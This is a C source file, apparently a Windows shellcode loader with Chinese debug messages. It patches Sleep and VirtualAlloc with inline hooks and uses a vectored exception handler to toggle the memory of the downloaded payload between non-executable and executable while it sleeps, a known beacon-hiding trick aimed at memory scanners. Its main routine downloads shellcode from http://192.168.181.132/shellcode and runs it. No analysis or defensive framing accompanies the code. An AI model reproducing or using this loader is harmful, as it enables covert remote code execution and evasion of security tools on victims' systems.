1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156
| #include <Windows.h> #include <stdio.h> #include <WinInet.h> #pragma comment(lib, "WinInet.lib")
CHAR g_OldAllocData[5] = { 0 }; CHAR g_OldSleepData[5] = { 0 }; LPVOID BASE_ADDRESS; SIZE_T g_dwSize; DWORD Beacon_OldProtect; HANDLE hEvent;
void HookVirtualAlloc(); void unHookVirtualAlloc(); void HookSleep(); void unHookSleep();
LPVOID OldSleep = GetProcAddress(GetModuleHandleA("kernel32.dll"), "Sleep"); LPVOID OldVirtualAlloc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "VirtualAlloc");
VOID WINAPI NewSleep(DWORD dwMilliseconds) { printf("Sleep:%d\n", dwMilliseconds); unHookSleep(); Sleep(dwMilliseconds); HookSleep(); SetEvent(hEvent); }
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { unHookVirtualAlloc(); BASE_ADDRESS = VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect); g_dwSize = dwSize; HookVirtualAlloc(); return BASE_ADDRESS; }
void HookVirtualAlloc() { DWORD dwAllocOldProtect = NULL; BYTE pAllocData[5] = { 0xe9,0x0,0x0,0x0,0x0 }; RtlCopyMemory(g_OldAllocData, OldVirtualAlloc, sizeof(g_OldAllocData)); DWORD dwAllocOffeset = (DWORD)NewVirtualAlloc - (DWORD)OldVirtualAlloc - 5; RtlCopyMemory(&pAllocData[1], &dwAllocOffeset, sizeof(dwAllocOffeset)); VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwAllocOldProtect); RtlCopyMemory(OldVirtualAlloc, pAllocData, sizeof(pAllocData)); VirtualProtect(OldVirtualAlloc, 5, dwAllocOldProtect, &dwAllocOldProtect); }
void unHookVirtualAlloc() { DWORD dwOldProtect = NULL; VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwOldProtect); RtlCopyMemory(OldVirtualAlloc, g_OldAllocData, sizeof(g_OldAllocData)); VirtualProtect(OldVirtualAlloc, 5, dwOldProtect, &dwOldProtect); }
void HookSleep() { DWORD OldSleepProtect = NULL; BYTE pSleepData[5] = { 0xe9, 0, 0, 0, 0 }; RtlCopyMemory(g_OldSleepData, OldSleep, sizeof(g_OldSleepData)); DWORD SleepOffest = (DWORD)NewSleep - (DWORD)OldSleep - 5; RtlCopyMemory(&pSleepData[1], &SleepOffest, sizeof(pSleepData)); VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &OldSleepProtect);
RtlCopyMemory(OldSleep, pSleepData, sizeof(pSleepData));
VirtualProtect(OldSleep, 5, OldSleepProtect, &OldSleepProtect); }
void unHookSleep() { DWORD dwOldProtect = NULL; VirtualProtect(OldSleep, 5, PAGE_READWRITE, &dwOldProtect); RtlCopyMemory(OldSleep, g_OldSleepData, sizeof(g_OldSleepData)); VirtualProtect(OldSleep, 5, dwOldProtect, &dwOldProtect); }
BOOL is_Exception(DWORD ExceptionInfo_EIP) { if (ExceptionInfo_EIP < ((DWORD)BASE_ADDRESS + g_dwSize) && ExceptionInfo_EIP >= (DWORD)BASE_ADDRESS) { printf("地址符合:%x\n", ExceptionInfo_EIP); return TRUE; } printf("地址不符合:%x\n", ExceptionInfo_EIP); return FALSE; }
LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(ExceptionInfo->ContextRecord->Eip)) { VirtualProtect(BASE_ADDRESS, g_dwSize, PAGE_EXECUTE_READWRITE, &Beacon_OldProtect); return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; }
DWORD WINAPI SetNoExecutableProtect(LPVOID lpParameter) { while (TRUE) { WaitForSingleObject(hEvent, INFINITE); VirtualProtect(BASE_ADDRESS, g_dwSize, PAGE_READWRITE, &Beacon_OldProtect);
ResetEvent(hEvent); } return 0; }
int main() { HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); AddVectoredExceptionHandler(1, &VectoredExceptionHandler); HookVirtualAlloc(); HookSleep();
HANDLE hthread = CreateThread(NULL, 0, SetNoExecutableProtect, NULL, 0, NULL); CloseHandle(hthread);
HINTERNET hInternet = InternetOpenA("aa", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); HINTERNET hConnect = InternetConnectA(hInternet, "192.168.181.132", 80, NULL, NULL, INTERNET_SERVICE_HTTP, NULL, NULL); HINTERNET hRequest = HttpOpenRequestA(hConnect, "GET", "/shellcode", "HTTP/1.1", NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL); HttpSendRequest(hRequest, NULL, NULL, NULL, NULL);
LPVOID exec = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_READWRITE); DWORD dwRealWord; BOOL response = InternetReadFile(hRequest, exec, 0x400000, &dwRealWord); ((void(*)())exec)();
unHookSleep(); unHookVirtualAlloc(); }
|